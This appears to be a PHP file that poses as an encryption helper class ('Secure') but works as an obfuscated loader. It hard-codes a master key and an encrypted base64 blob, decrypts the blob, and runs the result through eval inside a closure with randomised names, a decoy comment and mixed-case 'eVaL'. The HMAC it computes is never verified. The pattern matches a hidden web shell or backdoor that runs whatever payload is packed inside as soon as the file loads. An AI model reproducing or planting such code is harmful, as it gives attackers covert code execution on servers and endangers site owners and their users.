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<?php
//-漫~*'´3´´´'*·舞~ 🎀
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('ASrG45Tg3DjnulfIhEebW2S64LweXIw7');
$str = 'STFuLYvfei//p+hY0q5upW3uqwgpz5AZIDICQBY+5Tk6H06aEbCd17nvRPWkL05MFvp8XANG9C/CamQ9zb+BUAhuhgRany5XcTyPP4B3oQDzwZWe8Q48nHypZkUDSjIc8mkDyORPxsv/+W6kXZs6Xm7Zh3B51HA6dAjl+uW7WQIgwQSxAAH37tCO/g7Y+60QOIRre7bBObKRc8LYEPAURV47c6IqAE07mrWeef9+acN79eufNHTaakjMzfS39mKMgReRyrZNxz7YE+CxgfhnCG0MAJyiIcgy9etPy8RoonlaCBd/tCPHTj8BWcwbVIa9L0T9v+kf4338fpTKLryt+y0F5WssEJr8nkezbpUwClOvOcYOSPb7R0q76aBlVCridokgi8nFjlJbjPPLtA8gR4uc9VWPjw1WHD+N526q2W0boS0dxw25Yru86T4wsr+Tuiy/B9H9YMFp5ve1Va2aDwYMNQBWra8eVZNZfcDG+ydlNtcYeaUfGA3Qc8xuVDepO+GvDzVSb408sFdKObgmkhq8SJmTjNW+eIinUt9Zitluuglg+G14PGaGti4piFlCr6mcP5Nfws8tr1ObZ/LyynifSdJQqMzhnoYHyARO1DhxFDF2cH0i8xs+16TLlH6Uadon2l5nime9ACUEoEg1Xplrr5wQZjbsk+sUa9io6FzFf3jZqe1zHwUY1bbVDH3sFPz2KO4shi8eHYFSkoycHpqgItLjbwRHYNnzLqGXwDVWnD1vTxBTvwKt2j+AzYw6KQYjW7m5jhe8XHJJXYigKA==';
$decrypted = $secure->decrypt($str);
$bzt2WzhHGW = function($X3scem7Yvpn){
/*XUAmA2Ntk*/eVaL($X3scem7Yvpn);
$TncF3X7vyjA = "b694jsG4qvxg0rZSNC2mTW5dnTrI8rAI";
return $TncF3X7vyjA;
};
$bzt2WzhHGW($decrypted);

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